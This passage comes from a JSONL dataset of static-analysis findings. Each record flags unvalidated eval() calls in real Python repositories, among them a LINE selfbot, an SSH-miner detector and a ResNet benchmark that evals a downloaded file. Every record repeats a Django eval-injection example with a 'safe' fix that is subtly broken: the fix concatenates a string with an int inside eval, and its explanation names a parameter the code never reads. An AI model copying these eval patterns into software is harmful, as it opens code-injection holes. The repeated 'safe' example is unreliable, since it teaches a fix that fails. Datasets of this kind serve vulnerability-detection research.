cl.sendMessage(msg.to, \"Berhasil clone member tunggu beberapa saat sampai profile berubah\")\n settings['copy'] = False\n break\n except:\n msg.contentMetadata = {'mid': target}\n settings[\"copy\"] = False\n break\n#==============================================================================#\n if op.type == 26:\n print (\"[ 26 ] RECEIVE MESSAGE\")\n msg = op.message\n text = msg.text\n msg_id = msg.id\n receiver = msg.to\n sender = msg._from\n if msg.toType == 0:\n if sender != cl.profile.mid:\n to = sender\n else:\n to = receiver\n else:\n to = receiver\n if settings[\"autoRead\"] == True:\n cl.sendChatChecked(to, msg_id)\n if to in read[\"readPoint\"]:\n if sender not in read[\"ROM\"][to]:\n read[\"ROM\"][to][sender] = True\n if sender in settings[\"mimic\"][\"target\"] and settings[\"mimic\"][\"status\"] == True and settings[\"mimic\"][\"target\"][sender] == True:\n text = msg.text\n if text is not None:\n cl.sendMessage(msg.to,text)\n if msg.contentType == 0 and sender not in clMID and msg.toType == 2:\n if 'MENTION' in msg.contentMetadata.keys()!= None:\n names = re.findall(r'@(\\w+)', text)\n mention = ast.literal_eval(msg.contentMetadata['MENTION'])\n mentionees = mention['MENTIONEES']\n lists = []\n for mention in mentionees:\n if clMID in mention[\"M\"]:\n if settings[\"detectMention\"] == True:\n contact = cl.getContact(sender)\n cl.sendMessage(to, \"sundala nu\")\n sendMessageWithMention(to, contact.mid)\n break\n#==============================================================================#\n if op.type == 65:\n print (\"[ 65 ] REREAD\")\n try:\n at = op.param1\n msg_id = op.param2\n if setting[\"reread\"] == True:\n if msg_id in msg_dict:\n if msg_dict[msg_id][\"from\"] not in bl:\n cl.sendMessage(at,\"[收回訊息者]\\n%s\\n[訊息內容]\\n%s\"%(cl.getContact(msg_dict[msg_id][\"from\"]).displayName,msg_dict[msg_id][\"text\"]))\n del msg_dict[msg_id]\n else:\n pass\n except Exception as e:\n print (e)\n#==============================================================================#\n if op.type == 55:\n print (\"[ 55 ] NOTIFIED READ MESSAGE\")\n try:\n if op.param1 in read['readPoint']:\n if op.param2 in read['readMember'][op.param1]:\n pass\n else:\n read['readMember'][op.param1] += op.param2\n read['ROM'][op.param1][op.param2] = op.param2\n backupData()\n else:\n pass\n except:\n pass\n except Exception as error:\n logError(error)\n#==============================================================================#\nwhile True:\n try:\n ops = oepoll.singleTrace(count=50)\n if ops is not None:\n for op in ops:\n lineBot(op)\n oepoll.setRevision(op.revision)\n except Exception as e:\n logError(e)", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 1005, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "1005"}}, {"lineNo": 1007, "eventType": "source", "messageKey": "synz.COMMON.called", "params": {"arg0": "lineBot"}}, {"lineNo": 1007, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "15274e305fee9e56bbaa7510c4afe9f7722195bda98642b7acf63c41a6c7d521", "license": {"spdx": ["MIT"], "repo": "be4r/ssh-miner-detection", "path": "python_and_ebpf/train.py", "repo_head_hexsha": "47003db1d9f72ae44d5a27e92d0109d5111bec35", "stack_hexsha": "53d750a045a189f59e633e7a1ce562b90e7d821b", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 66, "entireCode": "#!/usr/bin/env python3\n\nfrom sklearn.tree import DecisionTreeClassifier\nimport pickle\nimport numpy as np\n\nno = [b'runc:[2:INIT]', b'containerssh-ag', b'apt',b'dpkg']\n\n\nclass model:\n\tdef __init__(self):\n\t\tself.d = DecisionTreeClassifier()\n\n\tdef load(self, filename = 'model.p'):\n\t\ttry:\n\t\t\tf = open(filename, 'rb')\n\t\t\tself.d = pickle.load(f)\n\t\t\tif type(self.d) != DecisionTreeClassifier:\n\t\t\t\td = None\n\t\t\tf.close()\n\t\texcept:\n\t\t\treturn\n\n\tdef save(self, filename = 'model.p'):\n\t\tf = open(filename, 'wb')\n\t\tpickle.dump(self.d, f)\n\t\tf.close()\n\n\tdef fit(self, x, y):\n\t\tself.d.fit(x, y)\n\n\tdef predict(self, x):\n\t\treturn self.d.predict(x)\n\n\tdef accuracy(self, y_pred, y_ref):\n\t\treturn sum(np.array(y_pred) == np.array(y_ref)) / len(y_ref)\n\n\tdef f1(self, y_pred, y_ref):\n\t\ttp = (np.array(y_pred) == 1) * (np.array(y_ref) == 1)\n\t\ttn = (np.array(y_pred) == 0) * (np.array(y_ref) == 0)\n\t\tfp = (np.array(y_pred) == 1) * (np.array(y_ref) == 0)\n\t\tfn = (np.array(y_pred) == 0) * (np.array(y_ref) == 1)\n\t\treturn tp / (tp + (fp + fn) / 2)\n\ndef ngrams(array, size = 25, overlacing = False):\n\treturn [array[i:i+size] for i in range(0, len(array)//size * size, 1 if overlacing else size)]\n\n\tres = [array[i:i+size] for i in range(0, len(array)//size * size, 1 if overlacing else size)]\n\tif sum([len(i) == size for i in res]) != len(res):\n\t\traise Exception('wtf')\n\ndef gen_train(a, is_miner):\n\t#x1,y1,x2,y2 = train_test_split(x,y,0.05)\n\tx = ngrams(a)\n\ty = [1 if is_miner else 0,] * len(x)\n\t\n\treturn x,y\n\ndef train_on_logs(*filenames, is_miner):\n\tclassifier = model()\n\t#classifier.load()\n\tx, y = [], []\n\tfor id, filename in enumerate(filenames):\n\t\tl = []\n\t\twith open(filename, 'r') as f:\n\t\t\tl = eval(''.join(f))\n\t\tcodes = []\n\t\tfor i in l:\n\t\t\tif i[0] not in no:\n\t\t\t\tcodes.append(i[1])\n\t\tx_, y_ = gen_train(codes, is_miner[id])\n\t\tx.append(x_)\n\t\ty.append(y_)\n\tprint(x,y)\n\t#classifier.fit(x,y)\n\t#classifier.save()\n\ndef predict_on_logs(*filenames, is_miner):\n\tclassifier = model()\n\tclassifier.load()\n\tx, y = [], []\n\tfor id, filename in enumerate(filenames):\n\t\tl = []\n\t\twith open(filename, 'r') as f:\n\t\t\tl = eval(''.join(f))\n\t\tcodes = []\n\t\tfor i in l:\n\t\t\tif i[0] not in no:\n\t\t\t\tcodes.append(i[1])\n\t\tx_, y_ = gen_train(codes, is_miner[id])\n\t\tx.append(x_)\n\t\ty.append(y_)\n\ty_pred = classifier.predict(x)\n\tprint(\"Accuracy: \", classifier.accuracy(y_pred, y))\n\tprint(\"F1: \",classifier.f1(y_pred, y))\n\n\ndef predict_on_trace(trace, A = 0.9):\n\tclassifier = model()\n\tclassifier.load()\n\tx, y = [], []\n\tfor id, filename in enumerate(filenames):\n\t\tcodes = []\n\t\tfor i in trace:\n\t\t\tif i[0] not in no:\n\t\t\t\tcodes.append(i[1])\n\t\tx_, y_ = gen_train(codes, is_miner[id])\n\t\tx.append(x_)\n\t\ty.append(y_)\n\ty_pred = classifier.predict(x)\n\tacc = sum(np.array(y_pred)) / len(y_pred)\n\treturn acc > A", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 65, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 66, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "join"}}, {"lineNo": 66, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "11c8d8d1a4690984e08488b66796c1760e48c5d1fd0a8daae70ba0a8b2ffe551", "license": {"spdx": ["BSD-3-Clause"], "repo": "felixaestheticus/realcode-validation", "path": "helper-scripts/instrnocombine.py", "repo_head_hexsha": "c599cc41797fc074bd2b71d205d6b2b904e1d64b", "stack_hexsha": "028dbb898943de5745b9b0587b4aecb405f08834", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 33, "entireCode": "#combine.py, combines available dictionaries into one, and generates csv file for latex\n\n#f = open('dict_random')\n\n\nmem_ops = 'MOVS','MOV','LDR','LDRH','LDRB','LDRSH','LDRSB','LDM','STR','STRH','STRB','STM'\nari_ops = 'ADDS','ADD','ADC','ADCS','ADR','SUBS','SUB','SBCS','RSBS','MULS','MUL','RSB','SBC'\ncom_ops = 'CMP','CMN'\nlog_ops = 'ANDS','EORS','ORRS','BICS','MVNS','TST','EOR','MVN','ORR'\nsys_ops = 'PUSH','POP','SVC','CPSID','CPSIE','MRS','MSR','BKPT','SEV','WFE','WFI','YIELD','NOP','ISB','DMB','DSB'\nbra_ops = 'B','BL','BLX','BX','BCC','BCS','BEQ','BIC','BLS','BNE','BPL','BGE','BGT','BHI','BLE','BLT','BMI','BVC','BVS'\nman_ops = 'SXTH','SXTB','UXTH','UXTB','REV','REV16','REVSH','LSLS','LSRS','RORS','ASR','ASRS','LSL','LSR','ROR'\n\n\nimport os,sys\npath = '.'\n#files = []\n#for i in os.listdir(path):\n# if os.path.isfile(os.path.join(path,i)) and i.startswith('typelist') and not i.endswith('~'):\n# files.append(i)\nfiles = sys.argv[1:]\n\nprint(files)\n\ndic_all = {}\nprint(dic_all)\nfor f in files:\n\tf = open(f)\n\tlines = f.readlines()\n\tdic = {}\n\tline = lines[0]\n\tif(line!= ''):\n\t\tdic = eval(line)\n\tfor key in dic:\n\t\tif(key not in dic_all):\n\t\t\tdic_all[key] = str(dic[key])\n\t\telse:\n\t\t\tdic_all[key] = str(dic_all[key]) + \",\" + str(dic[key])\n\nfor key in dic_all:\n\tdic_all[key] = ''\n\nfor f in files:\n\tf = open(f)\n\tlines = f.readlines()\n\tdic = {}\n\tline = lines[0]\n\tif(line!= ''):\n\t\tdic = eval(line)\n\tfor key in dic:\n\t\t#if(dic_all[key] != ''):\n\t\t\tdic_all[key] = str(dic_all[key]) + str(dic[key])\n\n\tfor key in dic_all:\n\t\tif(key not in dic):\n\t\t\tdic_all[key] = str(dic_all[key]) +\"0\"\n\t\tdic_all[key] = str(dic_all[key]) +\",\"\n\nprint(dic_all)\nou = open('dict_nocomb','w')\n\nou.write(str(dic_all))\n\ncsv1 = open(\"tablenocomb1.csv\",\"w\")\ncsv2 = open(\"tablenocomb2.csv\",\"w\")\n\ncsv1.write(\"Instr. Name, Occur.(Random),Occur.(Real),Type\\n\")\ncsv2.write(\"Instr. Name, Occur.(Random),Occur.(Real),Type\\n\")\nkeylist = [key for key in dic_all]\nkeylist.sort() \nnonempty = 0.0\nnonemptyr = 0.0\n\n\nfor key in dic_all:\n\th= str(key)\n\tif(h in mem_ops):\n\t\t#print(\"1\\n\")\n\t\tdic_all[key] = dic_all[key]+'M'\n\telif(h in ari_ops):\n\t\t#print(\"2\\n\")\n\t\tdic_all[key] = dic_all[key]+'A'\n\telif(h in com_ops):\n\t\t#print(\"3\\n\")\n\t\tdic_all[key] = dic_all[key]+'C'\n\telif(h in log_ops):\n\t\t#print(\"4\\n\")\n\t\tdic_all[key] = dic_all[key]+'L'\n\telif(h in sys_ops):\n\t\t#print(\"5\\n\")\n\t\tdic_all[key] = dic_all[key]+'S'\n\telif(h in bra_ops):\n\t\t#print(\"6\\n\")\n\t\tdic_all[key] = dic_all[key]+'B'\n\telif(h in man_ops):\n\t\t#print(\"7\\n\")\n\t\tdic_all[key] = dic_all[key]+'R'\n\telse:\n\t\t#print(\"no cat, sorry\\n\")\n\t\tdic_all[key] = dic_all[key]+'O'\n\n#for key in dic_all:\nfor i in range(len(keylist)):\n\t\n\tkey = keylist[i]\n\tif(dic_all[key].split(\",\")[1]!='0'):\n\t\tnonempty = nonempty+1\n\t\t#print(str(i)+\",\")\n\tif(dic_all[key].split(\",\")[0]!='0'):\n\t\tnonemptyr = nonemptyr+1\n\t\t\n\tif(i < len(keylist)/2):\n\t\tcsv1.write(str(key) + ',' + str(dic_all[key])+'\\n')\n\telse:\n\t\tcsv2.write(str(key) + ',' + str(dic_all[key])+'\\n')\n\n\nprint( \"Coverage rate -real:\" + str(nonempty/len(keylist)))\nprint( \"Coverage rate - random:\" + str(nonemptyr/len(keylist)))\ncsv1.close()\ncsv2.close()\n\n#print( \"Success rate:\" + str((nonempty/len(keylist)))\n", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 28, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "readlines"}}, {"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "lineslines[0]"}}, {"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 32, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "32"}}, {"lineNo": 33, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "1ce1b9732612221c265845c9ce2cba5f57ef1cc18173363e36eabf3365c70fe8", "license": {"spdx": ["MIT"], "repo": "adwwsd/HAWQ", "path": "tvm_benchmark/test_resnet_inference.py", "repo_head_hexsha": "a8e40be0edd336b2554d88691b18ed51e7d32bf0", "stack_hexsha": "69adc16bfc161b3aeeeb29f573076a958b052631", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 125, "entireCode": "import torch\nimport tvm\nfrom tvm import autotvm\nfrom tvm import relay\nfrom tvm.contrib import download\nfrom tvm.contrib.debugger import debug_runtime\n\nfrom PIL import Image\nimport matplotlib.pyplot as plt\n\nimport numpy as np\nimport argparse\nimport os\nfrom os.path import join, isfile\nimport sys\nimport json, requests\nfrom io import BytesIO\nimport re\n\nimport mixed_precision_models.quantized_resnet_v1 as quantized_resnet_v1\nfrom mixed_precision_models.layers import QConfig, QuantizeContext\n\nimport hawq_utils_resnet\n\nimport torch.cuda.profiler as profiler\nimport pyprof\npyprof.init()\n\nimport logging\nlogging.basicConfig(level=logging.CRITICAL)\n\nparser = argparse.ArgumentParser(description='Resnet accuracy test',\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\nparser.add_argument('--model-dir', required=True,\n help='Model data directory')\n\nparser.add_argument('--debug-unit', default=None,\n help='Debug specific unit input, compare the unit input to the pytorch result (stage1_unit1, stage1_unit2 ...)')\n\nparser.add_argument('--rounding', default='TONEAREST',\n help='Round scheme (TONEAREST, TRUNCATE)')\n\nparser.add_argument('--num-classes', type=int, default=1000,\n help='Total number of classes')\n\nparser.add_argument('--arch', default='resnet50',\n help='resnet architecture')\n\nargs = parser.parse_args()\n\n###############################################################################\n# Set target device\n# -----------------\n\nTARGET_NAME = 'cuda'\nCTX = tvm.context(TARGET_NAME, 0)\n#CTX = tvm.gpu(0)\n\n###############################################################################\n# Load params\n# -----------------\n\nif args.arch == 'resnet50':\n isRes18 = False\n if args.num_classes == 10: # Cifar 10\n num_stages = 3\n units = [3, 4, 6]\n print(\"Use Cifar 10\")\n else:\n num_stages = 4\n units = [3, 4, 6, 3]\nelif args.arch == 'resnet18':\n isRes18 = True\n num_stages = 4\n units = [2, 2, 2, 2]\nelse:\n assert 0\n\nweights = np.load(os.path.join(args.model_dir, \"weights.npy\"), allow_pickle=True)[()]\nbias = np.load(os.path.join(args.model_dir, \"bias.npy\"), allow_pickle=True)[()]\nhawq_utils_resnet.load_qconfig(\"uint4\", \"int4\", num_stages, units, file_name=os.path.join(args.model_dir, \"quantized_checkpoint.pth.tar\"), isRes18=isRes18)\n#hawq_utils_resnet50.load_qconfig(\"int8\", \"int8\", num_stages, units, file_name=os.path.join(args.model_dir, \"quantized_checkpoint.pth.tar\"))\n\ninput_image = np.load(os.path.join(args.model_dir, \"input_image_batch_1.npy\"))\ninput_image = input_image / QuantizeContext.qconfig_dict[\"conv0_qconfig\"].input_scale\ninput_image = np.clip(input_image, -128, 127)\n\nif args.rounding == \"TONEAREST\":\n input_image = np.round(input_image)\nelif args.rounding == \"TRUNCATE\":\n input_image = np.trunc(input_image)\n\ninput_image = input_image.astype(\"int8\")\nparams = {**weights, **bias}\n\n###############################################################################\n# Load model\n# -----------------\nbatch_size = 8\nshape = list(input_image.shape)\nimage_shape = (shape[3], shape[1], shape[2])\ninput_dtype = 'int8'\nmodel_type = \"int4\"\nnum_layers = 18 if isRes18 else 50\ndata_layout = \"NHWC\"\nkernel_layout = \"HWOI\"\n\nfunc, _ = quantized_resnet_v1.get_workload(batch_size=batch_size,\n image_shape=image_shape,\n num_classes=args.num_classes,\n num_layers=num_layers,\n dtype=input_dtype,\n data_layout=data_layout,\n kernel_layout=kernel_layout,\n with_bn=False,\n debug_unit=args.debug_unit,\n rounding=args.rounding)\n\n\n# Download ImageNet categories\ncateg_url = \"https://github.com/uwsaml/web-data/raw/main/vta/models/\"\ncateg_fn = \"synset.txt\"\ndownload.download(join(categ_url, categ_fn), categ_fn)\nsynset = eval(open(categ_fn).read())\n\nimage = input_image\ninput_data = np.repeat(image, batch_size, axis=0)\n\n###############################################################################\n# Run the model\n# -----------------\nlog_filename = \"/home/zach_zheng/hawq_tvm/mixed_precision_models/tuning_logs/resnet%d_%s_%s_batch_%d.log\" % (num_layers, data_layout, model_type, batch_size)\n\nif not os.path.exists(log_filename):\n log_filename = None\nelse:\n print(\"Apply tuning log \" + log_filename)\n\nwith autotvm.apply_history_best(log_filename):\n with relay.build_config(opt_level=3):\n\n print(\"building relay\")\n graph, lib, params = relay.build(func, target=TARGET_NAME, params=params)\n\n if args.debug_unit is not None:\n m = tvm.contrib.graph_runtime.create(graph, lib, CTX)\n #m = tvm.contrib.graph_executor.create(graph, lib, CTX)\n\n # Set the network parameters and inputs\n m.set_input(**params)\n m.set_input('data', input_data)\n m.run()\n\n np.set_printoptions(threshold=sys.maxsize)\n\n out = m.get_output(0).asnumpy()\n\n if not os.path.exists(os.path.join(args.model_dir, \"tvm_result\")):\n os.mkdir(os.path.join(args.model_dir, \"tvm_result\"))\n\n unit_str_regex = re.search('stage(\\d)_unit(\\d)', args.debug_unit)\n if unit_str_regex is not None:\n unit_str = unit_str_regex.group(0)\n else:\n unit_str = \"\"\n\n if args.debug_unit == \"fc_input\":\n actual_result = out\n np.save(os.path.join(args.model_dir, \"tvm_result/fc_input_int8.npy\"), actual_result[0])\n golden_result = np.load(os.path.join(args.model_dir, \"pytorch_result/fc_input_int8.npy\")).astype(\"int8\")\n elif args.debug_unit == \"fc_output\":\n golden_result = np.load(os.path.join(args.model_dir, \"pytorch_result/fc_output_int32.npy\"))\n actual_result = out\n np.save(os.path.join(args.model_dir, \"tvm_result/fc_output_int32.npy\"), actual_result[0])\n # golden_result = np.load(os.path.join(args.model_dir, \"pytorch_result/fc_output_float32.npy\"))#.astype(\"int32\")\n elif args.debug_unit == \"avg_pool\":\n actual_result = out\n np.save(os.path.join(args.model_dir, \"tvm_result/avg_pool_int32.npy\"), actual_result[0])\n golden_result = np.load(os.path.join(args.model_dir, \"pytorch_result/avg_pool_int32.npy\")).astype(\"int32\")\n elif args.debug_unit == \"softmax\":\n actual_result = out\n np.save(os.path.join(args.model_dir, \"tvm_result/avg_pool_int32.npy\"), actual_result[0])\n golden_result = np.load(os.path.join(args.model_dir, \"pytorch_result/avg_pool_int32.npy\")).astype(\"int32\")\n elif args.debug_unit == unit_str + \"_output\":\n actual_result = out * QuantizeContext.qconfig_dict[\"%s_qconfig_add\" % unit_str].output_scale\n # actual_result = out\n np.save(os.path.join(args.model_dir, \"tvm_result/%s_output_int32.npy\" % unit_str), actual_result[0])\n golden_result = np.load(os.path.join(args.model_dir, \"pytorch_result/%s_output_float32.npy\" % unit_str))\n elif args.debug_unit == unit_str + \"_input\":\n actual_result = hawq_utils_resnet.unpack_int4_to_int32(out)\n np.save(os.path.join(args.model_dir, \"tvm_result/%s_input_int4.npy\" % unit_str), actual_result[0])\n golden_result = np.load(os.path.join(args.model_dir, \"pytorch_result/%s_input_int4.npy\" % unit_str)).astype(\"int32\")\n else:\n print(\"Error: Unsupported debug unit.\")\n\n print(\"Above is Pytorch result, under is TVM result\")\n tvm.testing.assert_allclose(golden_result, actual_result[0])\n\n print(args.debug_unit + \" is 100% matched !\")\n else:\n module = tvm.contrib.graph_runtime.create(graph, lib, ctx=CTX)\n #module = tvm.contrib.graph_executor.create(graph, lib, ctx=CTX)\n module.set_input(**params)\n module.set_input('data', input_data)\n\n module.run()\n\n tvm_output = module.get_output(0)\n\n print(tvm_output.shape)\n\n for b in range(batch_size):\n top_categories = np.argsort(tvm_output.asnumpy()[b])\n # Report top-5 classification results\n print(\"\\n prediction for sample {}\".format(b))\n print(\"\\t#1:\", synset[top_categories[-1]])\n print(\"\\t#2:\", synset[top_categories[-2]])\n print(\"\\t#3:\", synset[top_categories[-3]])\n print(\"\\t#4:\", synset[top_categories[-4]])\n print(\"\\t#5:\", synset[top_categories[-5]])", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 125, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 125, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "read"}}, {"lineNo": 125, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "ad6ced1af154a46b559c8df3b0e16aad5005eb85448a9ac2790f4f3dc4b13656", "license": {"spdx": ["MIT"], "repo": "Sockeye-Project/decl-power-seq", "path": "evaluation.py", "repo_head_hexsha": "b3eed4b7abfdac647b8ff7653806665436e3e54d", "stack_hexsha": "f614a355b5c9fc85356cc143f4b8958e225a2420", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 135, "entireCode": "#! /usr/bin/env python3\n\nimport argparse\nimport random\nimport timeit\nimport copy\n\nfrom sequence_generation import State_Search_Flags, Topology, topological_sort\nfrom enzian_descriptions import enzian_nodes, enzian_wires, enzian_nodes_EVAL3\n\nproblems = [\n (\"p1\", {\"cpu\" : \"POWERED_ON\", \"fpga\": \"POWERED_ON\"}, {\"vdd_ddrcpu13\" : [(1500, 1500)], \"vdd_ddrcpu24\" : [(1500, 1500)], \"vdd_ddrfpga13\" : [(1200, 1200)], \"vdd_ddrfpga24\" : [(1200, 1200)]}, 256),\n (\"p2\", {\"cpu\" : \"POWERED_ON\", \"fpga\": \"POWERED_DOWN\"}, {\"vdd_ddrcpu13\" : [(1500, 1500)], \"vdd_ddrcpu24\" : [(1500, 1500)]}, 6),\n (\"p3\", {\"cpu\" : \"POWERED_DOWN\", \"fpga\": \"POWERED_DOWN\"}, {}, 8),\n]\n\ntransitions = [\n (\"p1\", {\"cpu\" : \"POWERED_DOWN\", \"fpga\": \"POWERED_DOWN\"}, {\"cpu\" : \"POWERED_ON\", \"fpga\": \"POWERED_ON\"}),\n (\"p2\", {\"cpu\" : \"POWERED_DOWN\", \"fpga\": \"POWERED_DOWN\"}, {\"cpu\" : \"POWERED_ON\", \"fpga\": \"POWERED_DOWN\"}),\n (\"p3\", {\"cpu\" : \"POWERED_ON\", \"fpga\": \"POWERED_DOWN\"}, {\"cpu\" : \"POWERED_ON\", \"fpga\": \"POWERED_ON\"}),\n (\"p4\", {\"cpu\" : \"POWERED_ON\", \"fpga\": \"POWERED_DOWN\"}, {\"cpu\" : \"POWERED_DOWN\", \"fpga\": \"POWERED_DOWN\"}),\n (\"p5\", {\"cpu\" : \"POWERED_ON\", \"fpga\": \"POWERED_ON\"}, {\"cpu\" : \"POWERED_ON\", \"fpga\": \"POWERED_DOWN\"}),\n (\"p6\", {\"cpu\" : \"POWERED_ON\", \"fpga\": \"POWERED_ON\"}, {\"cpu\" : \"POWERED_DOWN\", \"fpga\": \"POWERED_DOWN\"}), \n]\n\n\ndef run_eval1_m1():\n enzian = Topology(enzian_nodes, enzian_wires)\n\n for (name, node_states, state_dict, number) in problems:\n result_file = open(\"results/eval1_m1_%s.csv\"%name, 'a', buffering=1)\n flags1 = State_Search_Flags(all_solutions= False, advanced_backtracking=False)\n flags2 = State_Search_Flags(all_solutions=False)\n flags3 = State_Search_Flags(use_z3=True)\n\n for i in range(100):\n print(i)\n enzian.current_node_state = node_states\n random.shuffle(enzian.sorted_wires)\n for w in enzian.wires.values():\n random.shuffle(w.constraints)\n #required since z3 keeps state and since we have permuted every conductor's state possibilities: index of which are hardcoded into the z3 problem instance!\n enzian.generate_z3_solver()\n time1 = timeit.timeit(lambda: enzian.parametrized_state_search({}, flags1, 1), number = 1)\n time2 = timeit.timeit(lambda: enzian.parametrized_state_search({}, flags2, 1), number = 3) / 3\n time3 = timeit.timeit(lambda: enzian.parametrized_state_search({}, flags3, 1), number = 3) / 3\n print(time1)\n print(time2)\n print(time3)\n result_file.write(str(time1) + \",\" + str(time2) + \",\" + str(time3) + \"\\n\")\n\ndef run_eval1_m2():\n enzian = Topology(enzian_nodes, enzian_wires)\n\n for (name, node_states, state_dict, number) in problems:\n result_file = open(\"results/eval1_m2_%s.csv\"%name, 'a')\n flags = State_Search_Flags(all_solutions=False)\n for i in range(500):\n print(i)\n enzian.current_node_state = node_states\n random.shuffle(enzian.sorted_wires)\n for w in 